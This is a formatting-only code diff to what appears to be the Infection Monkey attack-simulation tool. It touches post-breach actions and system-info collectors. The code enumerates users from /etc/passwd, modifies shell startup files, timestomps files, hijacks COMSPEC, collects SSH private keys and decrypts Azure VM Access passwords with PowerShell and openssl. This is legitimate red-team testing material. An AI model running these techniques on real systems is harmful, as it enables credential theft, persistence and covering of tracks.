linux_cmd=" ".join(linux_cmds),
|
||||||
windows_cmd=windows_cmds,
|
windows_cmd=windows_cmds,
|
||||||
)
|
)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
|
|
|
@ -22,14 +22,14 @@ class SignedScriptProxyExecution(PBA):
|
||||||
original_comspec = ""
|
original_comspec = ""
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
original_comspec = subprocess.check_output(
|
original_comspec = subprocess.check_output(
|
||||||
"if defined COMSPEC echo %COMSPEC%", shell=True
|
"if defined COMSPEC echo %COMSPEC%", shell=True
|
||||||
).decode() # noqa: DUO116
|
).decode() # noqa: DUO116
|
||||||
|
|
||||||
super().run()
|
super().run()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
f"An exception occurred on running PBA "
|
f"An exception occurred on running PBA "
|
||||||
f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}"
|
f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}"
|
||||||
)
|
)
|
||||||
finally:
|
finally:
|
||||||
cleanup_changes(original_comspec)
|
cleanup_changes(original_comspec)
|
||||||
|
|
|
@ -35,8 +35,8 @@ class UsersPBA(PBA):
|
||||||
if WormConfiguration.custom_PBA_linux_cmd:
|
if WormConfiguration.custom_PBA_linux_cmd:
|
||||||
# Add change dir command, because user will try to access his file
|
# Add change dir command, because user will try to access his file
|
||||||
self.command = (
|
self.command = (
|
||||||
DIR_CHANGE_LINUX % get_monkey_dir_path()
|
DIR_CHANGE_LINUX % get_monkey_dir_path()
|
||||||
) + WormConfiguration.custom_PBA_linux_cmd
|
) + WormConfiguration.custom_PBA_linux_cmd
|
||||||
elif WormConfiguration.custom_PBA_linux_cmd:
|
elif WormConfiguration.custom_PBA_linux_cmd:
|
||||||
self.command = WormConfiguration.custom_PBA_linux_cmd
|
self.command = WormConfiguration.custom_PBA_linux_cmd
|
||||||
else:
|
else:
|
||||||
|
@ -46,8 +46,8 @@ class UsersPBA(PBA):
|
||||||
if WormConfiguration.custom_PBA_windows_cmd:
|
if WormConfiguration.custom_PBA_windows_cmd:
|
||||||
# Add change dir command, because user will try to access his file
|
# Add change dir command, because user will try to access his file
|
||||||
self.command = (
|
self.command = (
|
||||||
DIR_CHANGE_WINDOWS % get_monkey_dir_path()
|
DIR_CHANGE_WINDOWS % get_monkey_dir_path()
|
||||||
) + WormConfiguration.custom_PBA_windows_cmd
|
) + WormConfiguration.custom_PBA_windows_cmd
|
||||||
elif WormConfiguration.custom_PBA_windows_cmd:
|
elif WormConfiguration.custom_PBA_windows_cmd:
|
||||||
self.command = WormConfiguration.custom_PBA_windows_cmd
|
self.command = WormConfiguration.custom_PBA_windows_cmd
|
||||||
|
|
||||||
|
@ -86,10 +86,10 @@ class UsersPBA(PBA):
|
||||||
status = ScanStatus.USED
|
status = ScanStatus.USED
|
||||||
|
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
status,
|
status,
|
||||||
WormConfiguration.current_server.split(":")[0],
|
WormConfiguration.current_server.split(":")[0],
|
||||||
get_interface_to_target(WormConfiguration.current_server.split(":")[0]),
|
get_interface_to_target(WormConfiguration.current_server.split(":")[0]),
|
||||||
filename,
|
filename,
|
||||||
).send()
|
).send()
|
||||||
|
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
|
|
|
@ -48,10 +48,10 @@ def get_linux_usernames():
|
||||||
# get list of usernames
|
# get list of usernames
|
||||||
USERS = (
|
USERS = (
|
||||||
subprocess.check_output( # noqa: DUO116
|
subprocess.check_output( # noqa: DUO116
|
||||||
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
|
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
|
||||||
)
|
)
|
||||||
.decode()
|
.decode()
|
||||||
.split("\n")[:-1]
|
.split("\n")[:-1]
|
||||||
)
|
)
|
||||||
|
|
||||||
return USERS
|
return USERS
|
||||||
|
|
|
@ -62,8 +62,7 @@ class PBA(Plugin):
|
||||||
result = exec_funct()
|
result = exec_funct()
|
||||||
if self.scripts_were_used_successfully(result):
|
if self.scripts_were_used_successfully(result):
|
||||||
T1064Telem(
|
T1064Telem(
|
||||||
ScanStatus.USED,
|
ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action."
|
||||||
f"Scripts were used to execute {self.name} post breach action."
|
|
||||||
).send()
|
).send()
|
||||||
PostBreachTelem(self, result).send()
|
PostBreachTelem(self, result).send()
|
||||||
else:
|
else:
|
||||||
|
@ -92,7 +91,7 @@ class PBA(Plugin):
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
output = subprocess.check_output(
|
output = subprocess.check_output(
|
||||||
self.command, stderr=subprocess.STDOUT, shell=True
|
self.command, stderr=subprocess.STDOUT, shell=True
|
||||||
).decode()
|
).decode()
|
||||||
return output, True
|
return output, True
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
|
|
|
@ -12,10 +12,10 @@ def get_linux_commands_to_modify_shell_startup_files():
|
||||||
# get list of usernames
|
# get list of usernames
|
||||||
USERS = (
|
USERS = (
|
||||||
subprocess.check_output( # noqa: DUO116
|
subprocess.check_output( # noqa: DUO116
|
||||||
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
|
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
|
||||||
)
|
)
|
||||||
.decode()
|
.decode()
|
||||||
.split("\n")[:-1]
|
.split("\n")[:-1]
|
||||||
)
|
)
|
||||||
|
|
||||||
# get list of paths of different shell startup files with place for username
|
# get list of paths of different shell startup files with place for username
|
||||||
|
|
|
@ -1,9 +1,7 @@
|
||||||
from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification\
|
from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import (
|
||||||
import (
|
|
||||||
get_linux_commands_to_modify_shell_startup_files,
|
get_linux_commands_to_modify_shell_startup_files,
|
||||||
)
|
)
|
||||||
from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification\
|
from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import (
|
||||||
import (
|
|
||||||
get_windows_commands_to_modify_shell_startup_files,
|
get_windows_commands_to_modify_shell_startup_files,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -19,15 +19,14 @@ def get_windows_commands_to_modify_shell_startup_files():
|
||||||
|
|
||||||
STARTUP_FILES_PER_USER = [
|
STARTUP_FILES_PER_USER = [
|
||||||
"\\".join(
|
"\\".join(
|
||||||
SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [
|
SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]
|
||||||
user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]
|
|
||||||
)
|
)
|
||||||
for user in USERS
|
for user in USERS
|
||||||
]
|
]
|
||||||
|
|
||||||
return [
|
return [
|
||||||
"powershell.exe",
|
"powershell.exe",
|
||||||
"infection_monkey/post_breach/shell_startup_files/windows"
|
"infection_monkey/post_breach/shell_startup_files/windows"
|
||||||
"/modify_powershell_startup_file.ps1",
|
"/modify_powershell_startup_file.ps1",
|
||||||
"-startup_file_path {0}",
|
"-startup_file_path {0}",
|
||||||
], STARTUP_FILES_PER_USER
|
], STARTUP_FILES_PER_USER
|
||||||
|
|
|
@ -16,6 +16,6 @@ def get_commands_to_proxy_execution_using_signed_script():
|
||||||
def cleanup_changes(original_comspec):
|
def cleanup_changes(original_comspec):
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
get_windows_commands_to_reset_comspec(original_comspec), shell=True
|
get_windows_commands_to_reset_comspec(original_comspec), shell=True
|
||||||
) # noqa: DUO116
|
) # noqa: DUO116
|
||||||
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116
|
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116
|
||||||
|
|
|
@ -12,42 +12,42 @@ CUSTOM_WINDOWS_FILENAME = "filename-for-windows"
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def fake_monkey_dir_path(monkeypatch):
|
def fake_monkey_dir_path(monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path",
|
"infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path",
|
||||||
lambda:MONKEY_DIR_PATH,
|
lambda: MONKEY_DIR_PATH,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def set_os_linux(monkeypatch):
|
def set_os_linux(monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
|
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
|
||||||
lambda:False,
|
lambda: False,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def set_os_windows(monkeypatch):
|
def set_os_windows(monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
|
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
|
||||||
lambda:True,
|
lambda: True,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
|
def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
|
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
|
||||||
CUSTOM_LINUX_CMD,
|
CUSTOM_LINUX_CMD,
|
||||||
)
|
)
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
|
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
|
||||||
CUSTOM_LINUX_FILENAME,
|
CUSTOM_LINUX_FILENAME,
|
||||||
)
|
)
|
||||||
return UsersPBA()
|
return UsersPBA()
|
||||||
|
|
||||||
|
|
||||||
def test_command_linux_custom_file_and_cmd(
|
def test_command_linux_custom_file_and_cmd(
|
||||||
mock_UsersPBA_linux_custom_file_and_cmd,
|
mock_UsersPBA_linux_custom_file_and_cmd,
|
||||||
):
|
):
|
||||||
expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}"
|
expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}"
|
||||||
assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command
|
assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command
|
||||||
|
@ -56,18 +56,18 @@ def test_command_linux_custom_file_and_cmd(
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
|
def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
|
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
|
||||||
CUSTOM_WINDOWS_CMD,
|
CUSTOM_WINDOWS_CMD,
|
||||||
)
|
)
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
|
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
|
||||||
CUSTOM_WINDOWS_FILENAME,
|
CUSTOM_WINDOWS_FILENAME,
|
||||||
)
|
)
|
||||||
return UsersPBA()
|
return UsersPBA()
|
||||||
|
|
||||||
|
|
||||||
def test_command_windows_custom_file_and_cmd(
|
def test_command_windows_custom_file_and_cmd(
|
||||||
mock_UsersPBA_windows_custom_file_and_cmd,
|
mock_UsersPBA_windows_custom_file_and_cmd,
|
||||||
):
|
):
|
||||||
expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}"
|
expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}"
|
||||||
assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command
|
assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command
|
||||||
|
@ -77,8 +77,8 @@ def test_command_windows_custom_file_and_cmd(
|
||||||
def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch):
|
def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch):
|
||||||
monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None)
|
monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None)
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
|
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
|
||||||
CUSTOM_LINUX_FILENAME,
|
CUSTOM_LINUX_FILENAME,
|
||||||
)
|
)
|
||||||
return UsersPBA()
|
return UsersPBA()
|
||||||
|
|
||||||
|
@ -92,8 +92,8 @@ def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file):
|
||||||
def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch):
|
def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch):
|
||||||
monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None)
|
monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None)
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
|
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
|
||||||
CUSTOM_WINDOWS_FILENAME,
|
CUSTOM_WINDOWS_FILENAME,
|
||||||
)
|
)
|
||||||
return UsersPBA()
|
return UsersPBA()
|
||||||
|
|
||||||
|
@ -106,8 +106,8 @@ def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file):
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
|
def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
|
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
|
||||||
CUSTOM_LINUX_CMD,
|
CUSTOM_LINUX_CMD,
|
||||||
)
|
)
|
||||||
monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None)
|
monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None)
|
||||||
return UsersPBA()
|
return UsersPBA()
|
||||||
|
@ -121,8 +121,8 @@ def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd):
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
|
def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
|
||||||
monkeypatch.setattr(
|
monkeypatch.setattr(
|
||||||
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
|
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
|
||||||
CUSTOM_WINDOWS_CMD,
|
CUSTOM_WINDOWS_CMD,
|
||||||
)
|
)
|
||||||
monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None)
|
monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None)
|
||||||
return UsersPBA()
|
return UsersPBA()
|
||||||
|
|
|
@ -10,5 +10,6 @@ def get_linux_timestomping_commands():
|
||||||
f"rm {TEMP_FILE} -f"
|
f"rm {TEMP_FILE} -f"
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
||||||
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
|
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
|
||||||
# /T1070.006.md
|
# /T1070.006.md
|
||||||
|
|
|
@ -4,5 +4,6 @@ TEMP_FILE = "monkey-timestomping-file.txt"
|
||||||
def get_windows_timestomping_commands():
|
def get_windows_timestomping_commands():
|
||||||
return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1"
|
return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1"
|
||||||
|
|
||||||
|
|
||||||
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
|
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
|
||||||
# /T1070.006.md
|
# /T1070.006.md
|
||||||
|
|
|
@ -38,11 +38,11 @@ class SSHCollector(object):
|
||||||
possibly hashed)
|
possibly hashed)
|
||||||
"""
|
"""
|
||||||
return {
|
return {
|
||||||
"name":name,
|
"name": name,
|
||||||
"home_dir":home_dir,
|
"home_dir": home_dir,
|
||||||
"public_key":None,
|
"public_key": None,
|
||||||
"private_key":None,
|
"private_key": None,
|
||||||
"known_hosts":None,
|
"known_hosts": None,
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -84,8 +84,7 @@ class SSHCollector(object):
|
||||||
info["private_key"] = private_key
|
info["private_key"] = private_key
|
||||||
LOG.info("Found private key in %s" % private)
|
LOG.info("Found private key in %s" % private)
|
||||||
T1005Telem(
|
T1005Telem(
|
||||||
ScanStatus.USED, "SSH key",
|
ScanStatus.USED, "SSH key", "Path: %s" % private
|
||||||
"Path: %s" % private
|
|
||||||
).send()
|
).send()
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
|
|
|
@ -80,8 +80,8 @@ class InfoCollector(object):
|
||||||
"""
|
"""
|
||||||
LOG.debug("Reading subnets")
|
LOG.debug("Reading subnets")
|
||||||
self.info["network_info"] = {
|
self.info["network_info"] = {
|
||||||
"networks":get_host_subnets(),
|
"networks": get_host_subnets(),
|
||||||
"netstat":NetstatCollector.get_netstat_info(),
|
"netstat": NetstatCollector.get_netstat_info(),
|
||||||
}
|
}
|
||||||
|
|
||||||
def get_azure_info(self):
|
def get_azure_info(self):
|
||||||
|
|
|
@ -57,12 +57,12 @@ class AzureCollector(object):
|
||||||
base64_command = """openssl base64 -d -a"""
|
base64_command = """openssl base64 -d -a"""
|
||||||
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
|
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
|
||||||
b64_proc = subprocess.Popen(
|
b64_proc = subprocess.Popen(
|
||||||
base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
|
base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
|
||||||
)
|
)
|
||||||
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
|
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
|
||||||
decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
|
decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
|
||||||
decrypt_proc = subprocess.Popen(
|
decrypt_proc = subprocess.Popen(
|
||||||
decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
|
decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
|
||||||
)
|
)
|
||||||
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
||||||
decrypt_data = json.loads(decrypt_raw)
|
decrypt_data = json.loads(decrypt_raw)
|
||||||
|
@ -77,7 +77,7 @@ class AzureCollector(object):
|
||||||
return None
|
return None
|
||||||
except subprocess.CalledProcessError:
|
except subprocess.CalledProcessError:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
|
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
|
||||||
)
|
)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -96,20 +96,20 @@ class AzureCollector(object):
|
||||||
]
|
]
|
||||||
# we're going to do as much of this in PS as we can.
|
# we're going to do as much of this in PS as we can.
|
||||||
ps_block = ";\n".join(
|
ps_block = ";\n".join(
|
||||||
[
|
[
|
||||||
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
|
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
|
||||||
"Out-Null",
|
"Out-Null",
|
||||||
'$base64 = "%s"' % protected_data,
|
'$base64 = "%s"' % protected_data,
|
||||||
"$content = [Convert]::FromBase64String($base64)",
|
"$content = [Convert]::FromBase64String($base64)",
|
||||||
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
|
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
|
||||||
"$env.Decode($content)",
|
"$env.Decode($content)",
|
||||||
"$env.Decrypt()",
|
"$env.Decrypt()",
|
||||||
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
|
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
|
||||||
"Write-Host $utf8content", # we want to simplify parsing
|
"Write-Host $utf8content", # we want to simplify parsing
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
ps_proc = subprocess.Popen(
|
ps_proc = subprocess.Popen(
|
||||||
["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
|
["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
|
||||||
)
|
)
|
||||||
ps_out = ps_proc.communicate(ps_block)[0]
|
ps_out = ps_proc.communicate(ps_block)[0]
|
||||||
# this is disgusting but the alternative is writing the file to disk...
|
# this is disgusting but the alternative is writing the file to disk...
|
||||||
|
@ -117,7 +117,7 @@ class AzureCollector(object):
|
||||||
password = json.loads(password_raw)["Password"]
|
password = json.loads(password_raw)["Password"]
|
||||||
T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
|
T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
|
||||||
T1064Telem(
|
T1064Telem(
|
||||||
ScanStatus.USED, "Powershell scripts used to extract azure credentials."
|
ScanStatus.USED, "Powershell scripts used to extract azure credentials."
|
||||||
).send()
|
).send()
|
||||||
return username, password
|
return username, password
|
||||||
except IOError:
|
except IOError:
|
||||||
|
@ -128,6 +128,6 @@ class AzureCollector(object):
|
||||||
return None
|
return None
|
||||||
except subprocess.CalledProcessError:
|
except subprocess.CalledProcessError:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
|
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
|
||||||
)
|
)
|
||||||
return None
|
return None
|
||||||
|
|
|
@ -31,7 +31,7 @@ class AwsCollector(SystemInfoCollector):
|
||||||
info = {}
|
info = {}
|
||||||
if aws.is_instance():
|
if aws.is_instance():
|
||||||
logger.info("Machine is an AWS instance")
|
logger.info("Machine is an AWS instance")
|
||||||
info = {"instance_id":aws.get_instance_id()}
|
info = {"instance_id": aws.get_instance_id()}
|
||||||
else:
|
else:
|
||||||
logger.info("Machine is NOT an AWS instance")
|
logger.info("Machine is NOT an AWS instance")
|
||||||
|
|
||||||
|
|
|
@ -21,4 +21,4 @@ class EnvironmentCollector(SystemInfoCollector):
|
||||||
super().__init__(name=ENVIRONMENT_COLLECTOR)
|
super().__init__(name=ENVIRONMENT_COLLECTOR)
|
||||||
|
|
||||||
def collect(self) -> dict:
|
def collect(self) -> dict:
|
||||||
return {"environment":get_monkey_environment()}
|
return {"environment": get_monkey_environment()}
|
||||||
|
|
|
@ -12,4 +12,4 @@ class HostnameCollector(SystemInfoCollector):
|
||||||
super().__init__(name=HOSTNAME_COLLECTOR)
|
super().__init__(name=HOSTNAME_COLLECTOR)
|
||||||
|
|
||||||
def collect(self) -> dict:
|
def collect(self) -> dict:
|
||||||
return {"hostname":socket.getfqdn()}
|
return {"hostname": socket.getfqdn()}
|
||||||
|
|
|
@ -30,23 +30,23 @@ class ProcessListCollector(SystemInfoCollector):
|
||||||
for process in psutil.process_iter():
|
for process in psutil.process_iter():
|
||||||
try:
|
try:
|
||||||
processes[process.pid] = {
|
processes[process.pid] = {
|
||||||
"name":process.name(),
|
"name": process.name(),
|
||||||
"pid":process.pid,
|
"pid": process.pid,
|
||||||
"ppid":process.ppid(),
|
"ppid": process.ppid(),
|
||||||
"cmdline":" ".join(process.cmdline()),
|
"cmdline": " ".join(process.cmdline()),
|
||||||
"full_image_path":process.exe(),
|
"full_image_path": process.exe(),
|
||||||
}
|
}
|
||||||
except (psutil.AccessDenied, WindowsError):
|
except (psutil.AccessDenied, WindowsError):
|
||||||
# we may be running as non root and some processes are impossible to acquire in
|
# we may be running as non root and some processes are impossible to acquire in
|
||||||
# Windows/Linux.
|
# Windows/Linux.
|
||||||
# In this case we'll just add what we know.
|
# In this case we'll just add what we know.
|
||||||
processes[process.pid] = {
|
processes[process.pid] = {
|
||||||
"name":"null",
|
"name": "null",
|
||||||
"pid":process.pid,
|
"pid": process.pid,
|
||||||
"ppid":process.ppid(),
|
"ppid": process.ppid(),
|
||||||
"cmdline":"ACCESS DENIED",
|
"cmdline": "ACCESS DENIED",
|
||||||
"full_image_path":"null",
|
"full_image_path": "null",
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
|
|
||||||
return {"process_list":processes}
|
return {"process_list": processes}
|
||||||
|
|
|
@ -24,10 +24,10 @@ def scan_cloud_security(cloud_type: CloudProviders):
|
||||||
|
|
||||||
def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]:
|
def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]:
|
||||||
return ScoutSuite.api_run.run(
|
return ScoutSuite.api_run.run(
|
||||||
provider=cloud_type,
|
provider=cloud_type,
|
||||||
aws_access_key_id=WormConfiguration.aws_access_key_id,
|
aws_access_key_id=WormConfiguration.aws_access_key_id,
|
||||||
aws_secret_access_key=WormConfiguration.aws_secret_access_key,
|
aws_secret_access_key=WormConfiguration.aws_secret_access_key,
|
||||||
aws_session_token=WormConfiguration.aws_session_token,
|
aws_session_token=WormConfiguration.aws_session_token,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -20,10 +20,10 @@ class NetstatCollector(object):
|
||||||
AF_INET6 = getattr(socket, "AF_INET6", object())
|
AF_INET6 = getattr(socket, "AF_INET6", object())
|
||||||
|
|
||||||
proto_map = {
|
proto_map = {
|
||||||
(AF_INET, SOCK_STREAM):"tcp",
|
(AF_INET, SOCK_STREAM): "tcp",
|
||||||
(AF_INET6, SOCK_STREAM):"tcp6",
|
(AF_INET6, SOCK_STREAM): "tcp6",
|
||||||
(AF_INET, SOCK_DGRAM):"udp",
|
(AF_INET, SOCK_DGRAM): "udp",
|
||||||
(AF_INET6, SOCK_DGRAM):"udp6",
|
(AF_INET6, SOCK_DGRAM): "udp6",
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -34,11 +34,11 @@ class NetstatCollector(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _parse_connection(c):
|
def _parse_connection(c):
|
||||||
return {
|
return {
|
||||||
"proto":NetstatCollector.proto_map[(c.family, c.type)],
|
"proto": NetstatCollector.proto_map[(c.family, c.type)],
|
||||||
"local_address":c.laddr[0],
|
"local_address": c.laddr[0],
|
||||||
"local_port":c.laddr[1],
|
"local_port": c.laddr[1],
|
||||||
"remote_address":c.raddr[0] if c.raddr else None,
|
"remote_address": c.raddr[0] if c.raddr else None,
|
||||||
"remote_port":c.raddr[1] if c.raddr else None,
|
"remote_port": c.raddr[1] if c.raddr else None,
|
||||||
"status":c.status,
|
"status": c.status,
|
||||||
"pid":c.pid,
|
"pid": c.pid,
|
||||||
}
|
}
|
||||||
|
|
|
@ -24,11 +24,11 @@ class SystemInfoCollectorsHandler(object):
|
||||||
# If we failed one collector, no need to stop execution. Log and continue.
|
# If we failed one collector, no need to stop execution. Log and continue.
|
||||||
LOG.error("Collector {} failed. Error info: {}".format(collector.name, e))
|
LOG.error("Collector {} failed. Error info: {}".format(collector.name, e))
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"All system info collectors executed. Total {} executed, out of which {} "
|
"All system info collectors executed. Total {} executed, out of which {} "
|
||||||
"collected successfully.".format(len(self.collectors_list), successful_collections)
|
"collected successfully.".format(len(self.collectors_list), successful_collections)
|
||||||
)
|
)
|
||||||
|
|
||||||
SystemInfoTelem({"collectors":system_info_telemetry}).send()
|
SystemInfoTelem({"collectors": system_info_telemetry}).send()
